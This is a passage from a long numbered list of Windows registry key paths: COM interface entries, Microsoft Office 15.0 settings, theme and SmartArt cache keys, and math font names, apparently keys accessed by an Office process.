  1868. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}",
  1869. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1870. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}",
  1871. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1872. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}",
  1873. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1874. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}",
  1875. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1876. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}",
  1877. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1878. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}",
  1879. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1880. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}",
  1881. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1882. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}",
  1883. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1884. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}",
  1885. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1886. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}",
  1887. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1888. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5CEF5613-713D-11CE-80C9-00AA00611080}",
  1889. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5CEF5613-713D-11CE-80C9-00AA00611080}\\(Default)",
  1890. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5CEF5613-713D-11CE-80C9-00AA00611080}",
  1891. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5CEF5613-713D-11CE-80C9-00AA00611080}\\(Default)",
  1892. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{92E11A03-7358-11CE-80CB-00AA00611080}",
  1893. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{92E11A03-7358-11CE-80CB-00AA00611080}\\(Default)",
  1894. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{92E11A03-7358-11CE-80CB-00AA00611080}",
  1895. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{92E11A03-7358-11CE-80CB-00AA00611080}\\(Default)",
  1896. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}",
  1897. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1898. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}",
  1899. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1900. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}",
  1901. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1902. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}",
  1903. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1904. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109E60090400000000000F01FEC\\Usage\\VBAFilesIntl_1033",
  1905. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingConfigurableSettings",
  1906. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastSyncTime",
  1907. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastWriteTime",
  1908. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\OUTLOOKFiles",
  1909. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100A0C00000000000F01FEC\\Usage\\SpellingAndGrammarFiles_3082",
  1910. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100C0400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1036",
  1911. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F10090400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1033",
  1912. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\General\\LastAutoSavePurgeTime",
  1913. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\ProductFiles",
  1914. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Licensing\\09D07EFC505F4D9CBFD5ACE3217F6654",
  1915. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\Trusted Documents\\LastPurgeTime",
  1916. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090434",
  1917. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457503",
  1918. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033917",
  1919. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457510",
  1920. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001105",
  1921. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033919",
  1922. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457464",
  1923. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457475",
  1924. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033925",
  1925. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033927",
  1926. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457485",
  1927. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033937",
  1928. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001106",
  1929. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033921",
  1930. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457444",
  1931. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090430",
  1932. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457515",
  1933. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457496",
  1934. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033929",
  1935. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457491",
  1936. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001103",
  1937. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001104",
  1938. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328935",
  1939. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328972",
  1940. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328990",
  1941. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328951",
  1942. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328986",
  1943. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328975",
  1944. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328998",
  1945. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328983",
  1946. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328932",
  1947. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328908",
  1948. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328884",
  1949. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328940",
  1950. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328925",
  1951. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328919",
  1952. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328916",
  1953. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM02835233",
  1954. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM01840907",
  1955. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851221",
  1956. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851217",
  1957. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851224",
  1958. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851223",
  1959. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851226",
  1960. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851225",
  1961. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851227",
  1962. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851220",
  1963. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851219",
  1964. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851216",
  1965. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851222",
  1966. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851218",
  1967. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998159",
  1968. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998158",
  1969. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328905",
  1970. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328893",
  1971. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Arial Unicode MS",
  1972. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Batang",
  1973. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@BatangChe",
  1974. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DFKai-SB",
  1975. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Dotum",
  1976. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DotumChe",
  1977. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@FangSong",
  1978. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gulim",
  1979. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GulimChe",
  1980. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gungsuh",
  1981. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GungsuhChe",
  1982. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@KaiTi",
  1983. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Malgun Gothic",
  1984. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo",
  1985. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo UI",
  1986. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei",
  1987. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei UI",
  1988. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei",
  1989. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei UI",
  1990. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU",
  1991. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS",
  1992. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS-ExtB",
  1993. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU-ExtB",
  1994. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Gothic",
  1995. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Mincho",
  1996. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PGothic",
  1997. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PMincho",
  1998. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS UI Gothic",
  1999. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@NSimSun",
  2000. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU",
  2001. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU-ExtB",
  2002. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimHei",
  2003. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun",
  2004. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun-ExtB",
  2005. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Agency FB",
  2006. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aharoni",
  2007. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Algerian",
  2008. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Andalus",
  2009. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Angsana New",
  2010. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\AngsanaUPC",
  2011. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aparajita",
  2012. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arabic Typesetting",
  2013. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial",
  2014. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Black",
  2015. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Narrow",
  2016. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Rounded MT Bold",
  2017. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Unicode MS",
  2018. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Baskerville Old Face",
  2019. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Batang",
  2020. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BatangChe",
  2021. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bauhaus 93",
  2022. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bell MT",
  2023. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB",
  2024. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB Demi",
  2025. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bernard MT Condensed",
  2026. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Blackadder ITC",
  2027. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT",
  2028. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Black",
  2029. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Condensed",
  2030. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Poster Compressed",
  2031. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Book Antiqua",
  2032. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookman Old Style",
  2033. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookshelf Symbol 7",
  2034. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bradley Hand ITC",
  2035. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Britannic Bold",
  2036. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Broadway",
  2037. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Browallia New",
  2038. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BrowalliaUPC",
  2039. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Brush Script MT",
  2040. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri",
  2041. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri Light",
  2042. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Californian FB",
  2043. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calisto MT",
  2044. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria",
  2045. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria Math",
  2046. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Candara",
  2047. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Castellar",
  2048. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Centaur",
  2049. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century",
  2050. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Gothic",
  2051. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Schoolbook",
  2052. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Chiller",
  2053. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Colonna MT",
  2054. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Comic Sans MS",
  2055. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Consolas",
  2056. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Constantia",
  2057. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cooper Black",
  2058. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Bold",
  2059. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Light",
  2060. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Corbel",
  2061. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cordia New",
  2062. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\CordiaUPC",
  2063. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Courier New",
  2064. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Curlz MT",
  2065. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DaunPenh",
  2066. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\David",
  2067. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DFKai-SB",
  2068. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DilleniaUPC",
  2069. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DokChampa",
  2070. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Dotum",
  2071. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DotumChe",
  2072. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ebrima",
  2073. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Edwardian Script ITC",
  2074. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Elephant",
  2075. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Engravers MT",
  2076. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Bold ITC",
  2077. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Demi ITC",
  2078. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Light ITC",
  2079. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Medium ITC",
  2080. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Estrangelo Edessa",
  2081. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\EucrosiaUPC",
  2082. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Euphemia",
  2083. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FangSong",
  2084. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Felix Titling",
  2085. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Footlight MT Light",
  2086. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Forte",
  2087. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Book",
  2088. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi",
  2089. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi Cond",
  2090. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Heavy",
  2091. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium",
  2092. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium Cond",
  2093. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FrankRuehl",
  2094. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FreesiaUPC",
  2095. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Freestyle Script",
  2096. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\French Script MT",
